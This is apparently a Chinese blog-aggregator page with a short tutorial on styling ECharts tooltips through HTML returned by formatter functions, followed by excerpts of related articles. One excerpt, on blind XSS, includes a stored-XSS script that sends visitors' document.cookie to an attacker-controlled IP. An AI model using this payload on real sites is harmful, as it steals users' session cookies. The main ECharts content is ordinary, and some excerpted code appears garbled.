ECharts修改tooltip样式

news2025/1/10 15:58:28

tooltip不支持rich,formatter返回的是html片段,可以在这个返回的片段里面增加类名。以达到更改tooltip文字格式的效果。所以,直接写html的样式就可以

静态数据

formatter: (params) => {
          console.log('params', params)
          return '<h2 style="font-size: 20px; color: aqua">ddddd</h2>'
        },

动态数据

法一:模板字符串

const test = ref('test')

 formatter: (params) => {
          console.log('params', params)
          return `<h2 style="font-size: 20px; color: aqua">${test.value}</h2>`
        },

法二:官方字符串模板

在这里插入图片描述

formatter: '<h2 style="font-size: 20px; color: aqua">{b}</h2>',

法三:回调函数

formatter: (params) => {
          console.log('params', params)
          return `<h2 style="font-size: 20px; color: aqua">${params.name}</h2>`
          //   return `<h2 style="font-size: 20px; color: aqua">${test.value}</h2>`
        },

因为这里已经使用了回调函数,所以用params.xxx来获取对应的值,再使用{b}等字符串模板是不会生效的!!!!

顺道插一句这里的参数params
在这里插入图片描述

动态样式

就是在回调函数里直接写判断就可以 ,很简单!!!

 formatter: (params) => {
          console.log('params', params)
          if (params.name === '交通运输') {
            return `<h2 style="font-size: 20px; color: pink">${params.name}</h2>`
          } else return `<h2 style="font-size: 20px; color: black">${params.name}</h2>`
          //   return `<h2 style="font-size: 20px; color: aqua">${test.value}</h2>`
        },

在这里插入图片描述在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1195709.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Azure 机器学习 - 使用 Jupyter Notebook 探索 Azure 机器学习

目录 一、前言二、创建跳转盒 (VM)为 VM 启用 Azure Bastion 三、创建工作区四、连接到 VM 桌面五、连接到机器学习工作室允许工作室访问存储 六、停止计算实例七、清理资源 本文介绍如何创建并连接到安全的 Azure 机器学习工作区。 本文中的步骤使用 Azure 机器学习托管虚拟网…

线性代数-Python-05:矩阵的逆+LU分解

文章目录 1 矩阵的逆1.1 求解矩阵的逆 2 初等矩阵2.1 初等矩阵和可逆性 3 矩阵的LU分解3.1 LU分解的实现 1 矩阵的逆 1.1 求解矩阵的逆 def inv(A):if A.row_num() ! A.col_num():return Nonen A.row_num()"""矩阵A单位矩阵"""ls LinearSyste…

无梯度强化学习:使用遗传算法进化代理

一、说明 我想提高我的强化学习技能。由于对这个领域一无所知&#xff0c;我参加了一门课程&#xff0c;接触到了 Q 学习及其“深度”等效项&#xff08;深度 Q 学习&#xff09;。在那里我接触到了 OpenAI 的Gym&#xff0c;他们有多种环境可供代理玩耍和学习。 课程仅限于 De…

OpenCV-Python小应用(八):判断是否有深色线条

OpenCV-Python小应用&#xff08;八&#xff09;&#xff1a;判断是否有深色线条 前言前提条件相关介绍实验环境判断是否有深色线条思路一&#xff1a;通过图像梯度直方图判断思路二&#xff1a;通过图像灰度值变化判断 参考 前言 由于本人水平有限&#xff0c;难免出现错漏&am…

C++多态特性

&#x1f388;个人主页:&#x1f388; :✨✨✨初阶牛✨✨✨ &#x1f43b;强烈推荐优质专栏: &#x1f354;&#x1f35f;&#x1f32f;C的世界(持续更新中) &#x1f43b;推荐专栏1: &#x1f354;&#x1f35f;&#x1f32f;C语言初阶 &#x1f43b;推荐专栏2: &#x1f354;…

C++进阶-STL queue容器的简单认识

STL queue容器的简单认识 queue容器的基本概念queue容器的构造函数queue容器的赋值操作queue容器的数据存取queue容器的大小操作 queue容器的基本概念 queue是一种 先进先出 (First In First Out, FIFO)的数据结构&#xff0c;它有两个出口 队列容器允许从一端新增元素&#…

Azure 机器学习 - 如何使用模板创建安全工作区

目录 先决条件了解模板配置模板连接到工作区疑难解答错误&#xff1a;Windows 计算机名的长度不能超过 15 个字符&#xff0c;并且不能全为数字或包含以下字符 本教程介绍如何使用 [Microsoft Bicep]和 [Hashicorp Terraform]模板创建以下 Azure 资源&#xff1a; Azure 虚拟网…

【chat】4: ubuntu20.04:数据库创建:mysql8 导入5.7表

【chat】3: ubutnu 安装mysql-8 并支持远程访问 已经支持 8.0的SQLyog 远程访问:大神2021年的文章:sql是5.7的版本,我使用的ubuntu20.04,8.0版本:chat数据库设计 C++搭建集群聊天室(七):MySQL数据库配置 及项目工程目录配置 User表,以id 唯一标识 Friend 表,自己的id…

Run highlighted commands using IDE

背景 有时候在 IEDE 的命令行中输入命令&#xff0c;会弹出如下提示&#xff0c;或者命令被着了背景色了&#xff0c;是怎么回事&#xff1f; 其实就是提示你可以使用 IDEA 的功能替代命令行。比如使用ctrlenter或cmdenter之后使用的就是 IDEA 里的功能 直接enter运行&#x…

YOLOv5改进 | 添加CA注意力机制 + 增加预测层 + 更换损失函数之GIoU

前言&#xff1a;Hello大家好&#xff0c;我是小哥谈。在小目标场景的检测中&#xff0c;存在远距离目标识别效果差的情形&#xff0c;本节课提出一种基于改进YOLOv5的小目标检测方法。首先&#xff0c;在YOLOv5s模型的Neck网络层融合坐标注意力机制&#xff0c;以提升模型的特…

HTML点击链接强制触发下载

常见网页中会有很多点击链接即下载的内容&#xff0c;以下示范一下如何实现 <a href"文件地址" download"下载的文件名字&#xff08;不包括后缀&#xff09;">强制下载</a> 下面举个例子&#xff1a; <a href"./image/test.jpg"…

【我悟了】异常断电导致的文件系统变为只读——案例分析

背景 应领导要求&#xff0c;临时支持其他项目上遇到的一个问题。由于该问题属于未涉及的知识领域&#xff0c;从接触到最终给出方案&#xff0c;也花了我不少精力。在此进行分享&#xff0c;主要介绍在面对不熟悉的问题领域时&#xff0c;分析问题的思路。希望能够给年轻的同学…

小心你的大模型被基准评估坑了,模型直接傻掉!人大高瓴揭秘大模型作弊

作者 | 谢年年、Python 从 ChatGPT 横空出世到国内外「百模大战」打响以来&#xff0c;我们隔三差五就会看到某某大模型又超越多个模型&#xff0c;刷新SOTA&#xff0c;成功屠榜的消息。 这些榜单都是基于一系列高质量的评估基准创立的&#xff0c;从不同的方面比较LLMs的性能…

【VastbaseG100】 The password has been expired, please change the password.

NOTICE: The password has been expired, please change the password. vsql ((Vastbase G100 V2.2 (Build 10) Release) compiled at 2022-09-18 13:48:47 commit 9104 last mr ) 非SSL连接&#xff08;安全性要求高时&#xff0c;建议使用SSL连接&#xff09; 输入 "h…

xss 盲打

XSS 盲打 为什么教盲打&#xff0c;是因为处于被动&#xff0c;要等待受害者触发 1.利用存储型XSS 先将代码写入留言。同时kali开启端口监听&#xff08;下面IP是kali的&#xff09; <script>document.write(\<img src\"http://10.9.47.79/\document.cookie\\&qu…

Python开源项目RestoreFormer(++)——人脸重建(Face Restoration),模糊清晰、划痕修复及黑白上色的实践

有关 python anaconda 及运行环境的安装与设置请参阅&#xff1a; Python开源项目CodeFormer——人脸重建&#xff08;Face Restoration&#xff09;&#xff0c;模糊清晰、划痕修复及黑白上色的实践https://blog.csdn.net/beijinghorn/article/details/134334021 1 RESTOREF…

3.1 IDA Pro编写IDC脚本入门

IDA Pro内置的IDC脚本语言是一种灵活的、C语言风格的脚本语言&#xff0c;旨在帮助逆向工程师更轻松地进行反汇编和静态分析。IDC脚本语言支持变量、表达式、循环、分支、函数等C语言中的常见语法结构&#xff0c;并且还提供了许多特定于反汇编和静态分析的函数和操作符。由于其…

程序员的护城河:技术、创新与软实力的完美融合

作为IT行业的从业者&#xff0c;我们深知程序员在保障系统安全、数据防护以及网络稳定方面所起到的重要作用。他们是现代社会的护城河&#xff0c;用代码构筑着我们的未来。那程序员的护城河又是什么呢&#xff1f;是技术能力的深度&#xff1f;是对创新的追求&#xff1f;还是…

Linux 基于 LVM 逻辑卷的磁盘管理【简明教程】

一、传统磁盘管理的弊端 传统的磁盘管理&#xff1a;使用MBR先对硬盘分区&#xff0c;然后对分区进行文件系统的格式化最后再将该分区挂载上去。 传统的磁盘管理当分区没有空间使用进行扩展时&#xff0c;操作比较麻烦。分区使用空间已经满了&#xff0c;不再够用了&#xff…

Linux系统初步了解

Linux系统由4个主要部分组成&#xff1a;内核、Shell、文件系统和应用程序。 本专题主要是围绕这四个来展开的。 POSIX&#xff08;可移植操作系统接口&#xff09;定义了操作系统应该为应用程序提供的标准接口&#xff0c;其意愿是获得源码级别的软件可移植性。所以Linux选择…